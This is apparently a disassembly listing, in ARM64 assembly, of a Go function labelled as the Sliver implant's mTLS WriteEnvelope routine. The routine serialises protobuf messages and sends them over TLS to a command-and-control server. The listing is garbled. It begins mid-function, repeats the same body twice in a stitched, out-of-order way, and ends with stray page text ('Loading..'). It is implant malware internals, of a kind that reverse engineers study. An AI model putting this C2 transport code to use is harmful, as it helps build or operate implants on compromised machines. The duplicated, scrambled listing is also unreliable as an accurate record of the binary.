003ddbfcadd x4, x4, 2944
003ddc00str x4, [x3]
003ddc04adrp x27, 0x66e000
003ddc08ldr w4, [x27+3056]
003ddc0ccbz w4, 0x3ddc14
003ddc10b 0x3ddc18
003ddc14
003ddc14loc_3ddc14:
003ddc14b 0x3ddc28
003ddc18
003ddc18loc_3ddc18:
003ddc18ldr x4, [x3+8]
003ddc1cbl runtime.gcWriteBarrier1
003ddc20str x4, [x25]
003ddc24b 0x3ddc28
003ddc28
003ddc28loc_3ddc28:
003ddc28adrp x4, 0x335000
003ddc2cadd x4, x4, 384
003ddc30str x4, [x3+8]
003ddc34ldr x3, [sp+136]
003ddc38ldr x4, [sp+144]
003ddc3cstr x3, [sp+344]
003ddc40str x4, [sp+352]
003ddc44str x3, [sp+336]
003ddc48ldr x3, [sp+336]
003ddc4ccbnz x3, 0x3ddc54
003ddc50b 0x3ddc64
003ddc54
003ddc54loc_3ddc54:
003ddc54ldr x3, [sp+336]
003ddc58ldr x3, [x3+8]
003ddc5cstr x3, [sp+336]
003ddc60b 0x3ddc68
003ddc64
003ddc64loc_3ddc64:
003ddc64b 0x3ddc68
003ddc68
003ddc68loc_3ddc68:
003ddc68ldr x3, [sp+360]
003ddc6cldrsb x27, [x3]
003ddc70ldr x4, [sp+336]
003ddc74ldr x5, [sp+352]
003ddc78str x4, [x3+16]
003ddc7cadrp x27, 0x66e000
003ddc80ldr w4, [x27+3056]
003ddc84cbz w4, 0x3ddc8c
003ddc88b 0x3ddc90
003ddc8c
003ddc8cloc_3ddc8c:
003ddc8cb 0x3ddca4
003ddc90
003ddc90loc_3ddc90:
003ddc90bl runtime.gcWriteBarrier2
003ddc94str x5, [x25]
003ddc98ldr x4, [x3+24]
003ddc9cstr x4, [x25+8]
003ddca0b 0x3ddca4
003ddca4
003ddca4loc_3ddca4:
003ddca4str x5, [x3+24]
003ddca8ldr x0, [sp+360]
003ddcacldrsb x27, [x0]
003ddcb0b 0x3ddcb4
003ddcb4
003ddcb4loc_3ddcb4:
003ddcb4str x0, [sp+368]
003ddcb8orr x2, xzr, 2
003ddcbcstr x2, [sp+376]
003ddcc0str x2, [sp+384]
003ddcc4mov x1, x2
003ddcc8bl log.Print
003ddcccldr x0, [sp+136]
003ddcd0ldr x1, [sp+144]
003ddcd4str x0, [sp+88]
003ddcd8str x1, [sp+96]
003ddcdcldp x29, x30, [sp-8]
003ddce0add sp, sp, 512
003ddce4ret x30
003ddce8
003ddce8loc_3ddce8:
003ddce8adrp x0, 0x275000
003ddcecadd x0, x0, 2048
003ddcf0bl runtime.newobject
003ddcf4str x0, [sp+152]
003ddcf8str x0, [sp+392]
003ddcfcldr x1, [sp+168]
003ddd00str x1, [sp+72]
003ddd04str w1, [sp+60]
003ddd08ldr x1, [sp+392]
003ddd0cadrp x0, 0x336000
003ddd10add x0, x0, 2976
003ddd14adrp x2, 0x33d000
003ddd18add x2, x2, 2128
003ddd1cadrp x3, 0x66e000
003ddd20add x3, x3, 1504
003ddd24adrp x4, 0x218000
003ddd28add x4, x4, 3328
003ddd2cadd x5, sp, 60
003ddd30bl encoding/binary.Write
003ddd34ldr x0, [sp+152]
003ddd38bl bytes.(*Buffer).Bytes
003ddd3cstr x0, [sp+448]
003ddd40str x1, [sp+456]
003ddd44str x2, [sp+464]
003ddd48stp xzr, xzr, [sp+432]
003ddd4cldr x0, [sp+520]
003ddd50ldr x1, [sp+448]
003ddd54ldr x2, [sp+456]
003ddd58ldr x3, [sp+464]
003ddd5cbl crypto/tls.(*Conn).Write
003ddd60str x0, [sp+72]
003ddd64str x1, [sp+432]
003ddd68str x2, [sp+440]
003ddd6cldr x3, [sp+72]
003ddd70str x3, [sp+64]
003ddd74str x1, [sp+488]
003ddd78str x2, [sp+496]
003ddd7cstr x1, [sp+120]
003ddd80str x2, [sp+128]
003ddd84cbnz x1, 0x3ddd8c
003ddd88b 0x3dde90
003ddd8c
003ddd8cloc_3ddd8c:
003ddd8cstp xzr, xzr, [sp+400]
003ddd90stp xzr, xzr, [sp+416]
003ddd94add x3, sp, 400
003ddd98str x3, [sp+304]
003ddd9cldrsb x27, [x3]
003ddda0adrp x4, 0x218000
003ddda4add x4, x4, 2944
003ddda8str x4, [x3]
003dddacadrp x27, 0x66e000
003dddb0ldr w4, [x27+3056]
003dddb4cbz w4, 0x3dddbc
003dddb8b 0x3dddc0
003dddbc
003dddbcloc_3dddbc:
003dddbcb 0x3dddd0
003dddc0
003dddc0loc_3dddc0:
003dddc0ldr x4, [x3+8]
003dddc4bl runtime.gcWriteBarrier1
003dddc8str x4, [x25]
003dddccb 0x3dddd0
003dddd0
003dddd0loc_3dddd0:
003dddd0adrp x4, 0x335000
003dddd4add x4, x4, 400
003dddd8str x4, [x3+8]
003ddddcldr x3, [sp+120]
003ddde0ldr x4, [sp+128]
003ddde4str x3, [sp+288]
003ddde8str x4, [sp+296]
003dddecstr x3, [sp+280]
003dddf0ldr x3, [sp+280]
003dddf4cbnz x3, 0x3dddfc
003dddf8b 0x3dde0c
003dddfc
003dddfcloc_3dddfc:
003dddfcldr x3, [sp+280]
003dde00ldr x3, [x3+8]
003dde04str x3, [sp+280]
003dde08b 0x3dde10
003dde0c
003dde0cloc_3dde0c:
003dde0cb 0x3dde10
003dde10
003dde10loc_3dde10:
003dde10ldr x3, [sp+304]
003dde14ldrsb x27, [x3]
003dde18ldr x4, [sp+280]
003dde1cldr x5, [sp+296]
003dde20str x4, [x3+16]
003dde24adrp x27, 0x66e000
003dde28ldr w4, [x27+3056]
003dde2ccbz w4, 0x3dde34
003dde30b 0x3dde38
003dde34
003dde34loc_3dde34:
003dde34b 0x3dde4c
003dde38
003dde38loc_3dde38:
003dde38bl runtime.gcWriteBarrier2
003dde3cstr x5, [x25]
003dde40ldr x4, [x3+24]
003dde44str x4, [x25+8]
003dde48b 0x3dde4c
003dde4c
003dde4cloc_3dde4c:
003dde4cstr x5, [x3+24]
003dde50ldr x0, [sp+304]
003dde54ldrsb x27, [x0]
003dde58b 0x3dde5c
003dde5c
003dde5cloc_3dde5c:
003dde5cstr x0, [sp+312]
003dde60orr x2, xzr, 2
003dde64str x2, [sp+320]
003dde68str x2, [sp+328]
003dde6cmov x1, x2
003dde70bl log.Print
003dde74ldr x0, [sp+120]
003dde78ldr x1, [sp+128]
003dde7cstr x0, [sp+88]
003dde80str x1, [sp+96]
003dde84ldp x29, x30, [sp-8]
003dde88add sp, sp, 512
003dde8cret x30
003dde90
003dde90loc_3dde90:
003dde90stp xzr, xzr, [sp+432]
003dde94ldr x1, [sp+160]
003dde98ldr x2, [sp+168]
003dde9cldr x3, [sp+176]
003ddea0ldr x0, [sp+520]
003ddea4bl crypto/tls.(*Conn).Write
003ddea8str x0, [sp+72]
003ddeacstr x1, [sp+432]
003ddeb0str x2, [sp+440]
003ddeb4ldr x4, [sp+72]
003ddeb8str x4, [sp+80]
003ddebcstr x1, [sp+472]
003ddec0str x2, [sp+480]
003ddec4str x1, [sp+104]
003ddec8str x2, [sp+112]
003ddecccbnz x1, 0x3dded4
003dded0b 0x3ddfd8
003dded4
003dded4loc_3dded4:
003dded4stp xzr, xzr, [sp+400]
003dded8stp xzr, xzr, [sp+416]
003ddedcadd x3, sp, 400
003ddee0str x3, [sp+248]
003ddee4ldrsb x27, [x3]
003ddee8adrp x4, 0x218000
003ddeecadd x4, x4, 2944
003ddef0str x4, [x3]
003ddef4adrp x27, 0x66e000
003ddef8ldr w4, [x27+3056]
003ddefccbz w4, 0x3ddf04
003ddf00b 0x3ddf08
003ddf04
003ddf04loc_3ddf04:
003ddf04b 0x3ddf18
003ddf08
003ddf08loc_3ddf08:
003ddf08ldr x4, [x3+8]
003ddf0cbl runtime.gcWriteBarrier1
003ddf10str x4, [x25]
003ddf14b 0x3ddf18
003ddf18
003ddf18loc_3ddf18:
003ddf18adrp x4, 0x335000
003ddf1cadd x4, x4, 416
003ddf20str x4, [x3+8]
003ddf24ldr x3, [sp+104]
003ddf28ldr x4, [sp+112]
003ddf2cstr x3, [sp+232]
003ddf30str x4, [sp+240]
003ddf34str x3, [sp+224]
003ddf38ldr x3, [sp+224]
003ddf3ccbnz x3, 0x3ddf44
003ddf40b 0x3ddf54
003ddf44
003ddf44loc_3ddf44:
003ddf44ldr x3, [sp+224]
003ddf48ldr x3, [x3+8]
003ddf4cstr x3, [sp+224]
003ddf50b 0x3ddf58
003ddf54
003ddf54loc_3ddf54:
003ddf54b 0x3ddf58
003ddf58
003ddf58loc_3ddf58:
003ddf58ldr x3, [sp+248]
003ddf5cldrsb x27, [x3]
003ddf60ldr x4, [sp+224]
003ddf64ldr x5, [sp+240]
003ddf68str x4, [x3+16]
003ddf6cadrp x27, 0x66e000
003ddf70ldr w4, [x27+3056]
003ddf74cbz w4, 0x3ddf7c
003ddf78b 0x3ddf80
003ddf7c
003ddf7cloc_3ddf7c:
003ddf7cb 0x3ddf94
003ddf80
003ddf80loc_3ddf80:
003ddf80bl runtime.gcWriteBarrier2
003ddf84str x5, [x25]
003ddf88ldr x4, [x3+24]
003ddf8cstr x4, [x25+8]
003ddf90b 0x3ddf94
003ddf94
003ddf94loc_3ddf94:
003ddf94str x5, [x3+24]
003ddf98ldr x0, [sp+248]
003ddf9cldrsb x27, [x0]
003ddfa0b 0x3ddfa4
003ddfa4
003ddfa4loc_3ddfa4:
003ddfa4str x0, [sp+256]
003ddfa8orr x2, xzr, 2
003ddfacstr x2, [sp+264]
003ddfb0str x2, [sp+272]
003ddfb4mov x1, x2
003ddfb8bl log.Print
003ddfbcldr x0, [sp+104]
003ddfc0ldr x1, [sp+112]
003ddfc4str x0, [sp+88]
003ddfc8str x1, [sp+96]
003ddfccldp x29, x30, [sp-8]
003ddfd0add sp, sp, 512
003ddfd4ret x30
003ddfd8
003ddfd8loc_3ddfd8:
003ddfd8stp xzr, xzr, [sp+88]
003ddfdcmov x0, xzr
003ddfe0mov x1, xzr
003ddfe4ldp x29, x30, [sp-8]
003ddfe8add sp, sp, 512
003ddfecret x30
003ddff0
003ddff0loc_3ddff0:
003ddff0stp x0, x1, [sp+8]
003ddff4mov x3, x30
003ddff8bl runtime.morestack_noctxt.abi0
003ddffcldp x0, x1, [sp+8]
003de000b 0x3ddb30
003de004udf 0
003de008udf 0
003de00cudf 0
003ddb30
003ddb30github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope(crypto/tls.Conn * connection, github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope)
003ddb30ldr x16, [x28+16]
003ddb34sub x17, sp, 384
003ddb38subs xzr, x17, x16
003ddb3cb.ls 0x3ddff0
003ddb40sub x20, sp, 512
003ddb44stp x29, x30, [x20-8]
003ddb48add sp, x20, 0
003ddb4csub x29, sp, 8
003ddb50str x0, [sp+520]
003ddb54str x1, [sp+528]
003ddb58stp xzr, xzr, [sp+88]
003ddb5cstr xzr, [sp+448]
003ddb60stp xzr, xzr, [sp+456]
003ddb64stp xzr, xzr, [sp+432]
003ddb68ldr x1, [sp+528]
003ddb6cadrp x0, 0x337000
003ddb70add x0, x0, 1184
003ddb74bl google.golang.org/protobuf/proto.Marshal
003ddb78str x0, [sp+448]
003ddb7cstr x1, [sp+456]
003ddb80str x2, [sp+464]
003ddb84str x3, [sp+432]
003ddb88str x4, [sp+440]
003ddb8cldr x2, [sp+448]
003ddb90ldr x3, [sp+456]
003ddb94ldr x4, [sp+464]
003ddb98str x2, [sp+200]
003ddb9cstr x3, [sp+208]
003ddba0str x4, [sp+216]
003ddba4ldr x2, [sp+432]
003ddba8ldr x3, [sp+440]
003ddbacstr x2, [sp+184]
003ddbb0str x3, [sp+192]
003ddbb4ldr x2, [sp+200]
003ddbb8ldr x3, [sp+208]
003ddbbcldr x4, [sp+216]
003ddbc0str x2, [sp+160]
003ddbc4str x3, [sp+168]
003ddbc8str x4, [sp+176]
003ddbccldr x2, [sp+192]
003ddbd0ldr x3, [sp+184]
003ddbd4str x3, [sp+136]
003ddbd8str x2, [sp+144]
003ddbdccbnz x3, 0x3ddbe4
003ddbe0b 0x3ddce8
003ddbe4
003ddbe4loc_3ddbe4:
003ddbe4stp xzr, xzr, [sp+400]
003ddbe8stp xzr, xzr, [sp+416]
003ddbecadd x3, sp, 400
003ddbf0str x3, [sp+360]
003ddbf4ldrsb x27, [x3]
003ddbf8adrp x4, 0x218000
003ddbfcadd x4, x4, 2944
003ddc00str x4, [x3]
003ddc04adrp x27, 0x66e000
003ddc08ldr w4, [x27+3056]
003ddc0ccbz w4, 0x3ddc14
003ddc10b 0x3ddc18
003ddc14
003ddc14loc_3ddc14:
003ddc14b 0x3ddc28
003ddc18
003ddc18loc_3ddc18:
003ddc18ldr x4, [x3+8]
003ddc1cbl runtime.gcWriteBarrier1
003ddc20str x4, [x25]
003ddc24b 0x3ddc28
003ddc28
003ddc28loc_3ddc28:
003ddc28adrp x4, 0x335000
003ddc2cadd x4, x4, 384
003ddc30str x4, [x3+8]
003ddc34ldr x3, [sp+136]
003ddc38ldr x4, [sp+144]
003ddc3cstr x3, [sp+344]
003ddc40str x4, [sp+352]
003ddc44str x3, [sp+336]
003ddc48ldr x3, [sp+336]
003ddc4ccbnz x3, 0x3ddc54
003ddc50b 0x3ddc64
003ddc54
003ddc54loc_3ddc54:
003ddc54ldr x3, [sp+336]
003ddc58ldr x3, [x3+8]
003ddc5cstr x3, [sp+336]
003ddc60b 0x3ddc68
003ddc64
003ddc64loc_3ddc64:
003ddc64b 0x3ddc68
003ddc68
003ddc68loc_3ddc68:
003ddc68ldr x3, [sp+360]
003ddc6cldrsb x27, [x3]
003ddc70ldr x4, [sp+336]
003ddc74ldr x5, [sp+352]
003ddc78str x4, [x3+16]
003ddc7cadrp x27, 0x66e000
003ddc80ldr w4, [x27+3056]
003ddc84cbz w4, 0x3ddc8c
003ddc88b 0x3ddc90
003ddc8c
003ddc8cloc_3ddc8c:
003ddc8cb 0x3ddca4
003ddc90
003ddc90loc_3ddc90:
003ddc90bl runtime.gcWriteBarrier2
003ddc94str x5, [x25]
003ddc98ldr x4, [x3+24]
003ddc9cstr x4, [x25+8]
003ddca0b 0x3ddca4
003ddca4
003ddca4loc_3ddca4:
003ddca4str x5, [x3+24]
003ddca8ldr x0, [sp+360]
003ddcacldrsb x27, [x0]
003ddcb0b 0x3ddcb4
003ddcb4
003ddcb4loc_3ddcb4:
003ddcb4str x0, [sp+368]
003ddcb8orr x2, xzr, 2
003ddcbcstr x2, [sp+376]
003ddcc0str x2, [sp+384]
003ddcc4mov x1, x2
003ddcc8bl log.Print
003ddcccldr x0, [sp+136]
003ddcd0ldr x1, [sp+144]
003ddcd4str x0, [sp+88]
003ddcd8str x1, [sp+96]
003ddcdcldp x29, x30, [sp-8]
003ddce0add sp, sp, 512
003ddce4ret x30
003ddce8
003ddce8loc_3ddce8:
003ddce8adrp x0, 0x275000
003ddcecadd x0, x0, 2048
003ddcf0bl runtime.newobject
003ddcf4str x0, [sp+152]
003ddcf8str x0, [sp+392]
003ddcfcldr x1, [sp+168]
003ddd00str x1, [sp+72]
003ddd04str w1, [sp+60]
003ddd08ldr x1, [sp+392]
003ddd0cadrp x0, 0x336000
003ddd10add x0, x0, 2976
003ddd14adrp x2, 0x33d000
003ddd18add x2, x2, 2128
003ddd1cadrp x3, 0x66e000
003ddd20add x3, x3, 1504
003ddd24adrp x4, 0x218000
003ddd28add x4, x4, 3328
003ddd2cadd x5, sp, 60
003ddd30bl encoding/binary.Write
003ddd34ldr x0, [sp+152]
003ddd38bl bytes.(*Buffer).Bytes
003ddd3cstr x0, [sp+448]
003ddd40str x1, [sp+456]
003ddd44str x2, [sp+464]
003ddd48stp xzr, xzr, [sp+432]
003ddd4cldr x0, [sp+520]
003ddd50ldr x1, [sp+448]
003ddd54ldr x2, [sp+456]
003ddd58ldr x3, [sp+464]
003ddd5cbl crypto/tls.(*Conn).Write
003ddd60str x0, [sp+72]
003ddd64str x1, [sp+432]
003ddd68str x2, [sp+440]
003ddd6cldr x3, [sp+72]
003ddd70str x3, [sp+64]
003ddd74str x1, [sp+488]
003ddd78str x2, [sp+496]
003ddd7cstr x1, [sp+120]
003ddd80str x2, [sp+128]
003ddd84cbnz x1, 0x3ddd8c
003ddd88b 0x3dde90
003ddd8c
003ddd8cloc_3ddd8c:
003ddd8cstp xzr, xzr, [sp+400]
003ddd90stp xzr, xzr, [sp+416]
003ddd94add x3, sp, 400
003ddd98str x3, [sp+304]
003ddd9cldrsb x27, [x3]
003ddda0adrp x4, 0x218000
003ddda4add x4, x4, 2944
003ddda8str x4, [x3]
003dddacadrp x27, 0x66e000
003dddb0ldr w4, [x27+3056]
003dddb4cbz w4, 0x3dddbc
003dddb8b 0x3dddc0
003dddbc
003dddbcloc_3dddbc:
003dddbcb 0x3dddd0
003dddc0
003dddc0loc_3dddc0:
003dddc0ldr x4, [x3+8]
003dddc4bl runtime.gcWriteBarrier1
003dddc8str x4, [x25]
003dddccb 0x3dddd0
003dddd0
003dddd0loc_3dddd0:
003dddd0adrp x4, 0x335000
003dddd4add x4, x4, 400
003dddd8str x4, [x3+8]
003ddddcldr x3, [sp+120]
003ddde0ldr x4, [sp+128]
003ddde4str x3, [sp+288]
003ddde8str x4, [sp+296]
003dddecstr x3, [sp+280]
003dddf0ldr x3, [sp+280]
003dddf4cbnz x3, 0x3dddfc
003dddf8b 0x3dde0c
003dddfc
003dddfcloc_3dddfc:
003dddfcldr x3, [sp+280]
003dde00ldr x3, [x3+8]
003dde04str x3, [sp+280]
003dde08b 0x3dde10
003dde0c
003dde0cloc_3dde0c:
003dde0cb 0x3dde10
003dde10
003dde10loc_3dde10:
003dde10ldr x3, [sp+304]
003dde14ldrsb x27, [x3]
003dde18ldr x4, [sp+280]
003dde1cldr x5, [sp+296]
003dde20str x4, [x3+16]
003dde24adrp x27, 0x66e000
003dde28ldr w4, [x27+3056]
003dde2ccbz w4, 0x3dde34
003dde30b 0x3dde38
003dde34
003dde34loc_3dde34:
003dde34b 0x3dde4c
003dde38
003dde38loc_3dde38:
003dde38bl runtime.gcWriteBarrier2
003dde3cstr x5, [x25]
003dde40ldr x4, [x3+24]
003dde44str x4, [x25+8]
003dde48b 0x3dde4c
003dde4c
003dde4cloc_3dde4c:
003dde4cstr x5, [x3+24]
003dde50ldr x0, [sp+304]
003dde54ldrsb x27, [x0]
003dde58b 0x3dde5c
003dde5c
003dde5cloc_3dde5c:
003dde5cstr x0, [sp+312]
003dde60orr x2, xzr, 2
003dde64str x2, [sp+320]
003dde68str x2, [sp+328]
003dde6cmov x1, x2
003dde70bl log.Print
003dde74ldr x0, [sp+120]
003dde78ldr x1, [sp+128]
003dde7cstr x0, [sp+88]
003dde80str x1, [sp+96]
003dde84ldp x29, x30, [sp-8]
003dde88add sp, sp, 512
003dde8cret x30
003dde90
003dde90loc_3dde90:
003dde90stp xzr, xzr, [sp+432]
003dde94ldr x1, [sp+160]
003dde98ldr x2, [sp+168]
003dde9cldr x3, [sp+176]
003ddea0ldr x0, [sp+520]
003ddea4bl crypto/tls.(*Conn).Write
003ddea8str x0, [sp+72]
003ddeacstr x1, [sp+432]
003ddeb0str x2, [sp+440]
003ddeb4ldr x4, [sp+72]
003ddeb8str x4, [sp+80]
003ddebcstr x1, [sp+472]
003ddec0str x2, [sp+480]
003ddec4str x1, [sp+104]
003ddec8str x2, [sp+112]
003ddecccbnz x1, 0x3dded4
003dded0b 0x3ddfd8
003dded4
003dded4loc_3dded4:
003dded4stp xzr, xzr, [sp+400]
003dded8stp xzr, xzr, [sp+416]
003ddedcadd x3, sp, 400
003ddee0str x3, [sp+248]
003ddee4ldrsb x27, [x3]
003ddee8adrp x4, 0x218000
003ddeecadd x4, x4, 2944
003ddef0str x4, [x3]
003ddef4adrp x27, 0x66e000
003ddef8ldr w4, [x27+3056]
003ddefccbz w4, 0x3ddf04
003ddf00b 0x3ddf08
003ddf04
003ddf04loc_3ddf04:
003ddf04b 0x3ddf18
003ddf08
003ddf08loc_3ddf08:
003ddf08ldr x4, [x3+8]
003ddf0cbl runtime.gcWriteBarrier1
003ddf10str x4, [x25]
003ddf14b 0x3ddf18
003ddf18
003ddf18loc_3ddf18:
003ddf18adrp x4, 0x335000
003ddf1cadd x4, x4, 416
003ddf20str x4, [x3+8]
003ddf24ldr x3, [sp+104]
003ddf28ldr x4, [sp+112]
003ddf2cstr x3, [sp+232]
003ddf30str x4, [sp+240]
003ddf34str x3, [sp+224]
003ddf38ldr x3, [sp+224]
003ddf3ccbnz x3, 0x3ddf44
003ddf40b 0x3ddf54
003ddf44
003ddf44loc_3ddf44:
003ddf44ldr x3, [sp+224]
003ddf48ldr x3, [x3+8]
003ddf4cstr x3, [sp+224]
003ddf50b 0x3ddf58
003ddf54
003ddf54loc_3ddf54:
003ddf54b 0x3ddf58
003ddf58
003ddf58loc_3ddf58:
003ddf58ldr x3, [sp+248]
003ddf5cldrsb x27, [x3]
003ddf60ldr x4, [sp+224]
003ddf64ldr x5, [sp+240]
003ddf68str x4, [x3+16]
003ddf6cadrp x27, 0x66e000
003ddf70ldr w4, [x27+3056]
003ddf74cbz w4, 0x3ddf7c
003ddf78b 0x3ddf80
003ddf7c
003ddf7cloc_3ddf7c:
003ddf7cb 0x3ddf94
003ddf80
003ddf80loc_3ddf80:
003ddf80bl runtime.gcWriteBarrier2
003ddf84str x5, [x25]
003ddf88ldr x4, [x3+24]
003ddf8cstr x4, [x25+8]
003ddf90b 0x3ddf94
003ddf94
003ddf94loc_3ddf94:
003ddf94str x5, [x3+24]
003ddf98ldr x0, [sp+248]
003ddf9cldrsb x27, [x0]
003ddfa0b 0x3ddfa4
003ddfa4
003ddfa4loc_3ddfa4:
003ddfa4str x0, [sp+256]
003ddfa8orr x2, xzr, 2
003ddfacstr x2, [sp+264]
003ddfb0str x2, [sp+272]
003ddfb4mov x1, x2
003ddfb8bl log.Print
003ddfbcldr x0, [sp+104]
003ddfc0ldr x1, [sp+112]
003ddfc4str x0, [sp+88]
003ddfc8str x1, [sp+96]
003ddfccldp x29, x30, [sp-8]
003ddfd0add sp, sp, 512
003ddfd4ret x30
003ddfd8
003ddfd8loc_3ddfd8:
003ddfd8stp xzr, xzr, [sp+88]
003ddfdcmov x0, xzr
003ddfe0mov x1, xzr
003ddfe4ldp x29, x30, [sp-8]
003ddfe8add sp, sp, 512
003ddfecret x30
003ddff0
003ddff0loc_3ddff0:
003ddff0stp x0, x1, [sp+8]
003ddff4mov x3, x30
003ddff8bl runtime.morestack_noctxt.abi0
003ddffcldp x0, x1, [sp+8]
003de000b 0x3ddb30
003de004udf 0
003de008udf 0
003de00cudf 0
003ddb30
Loading..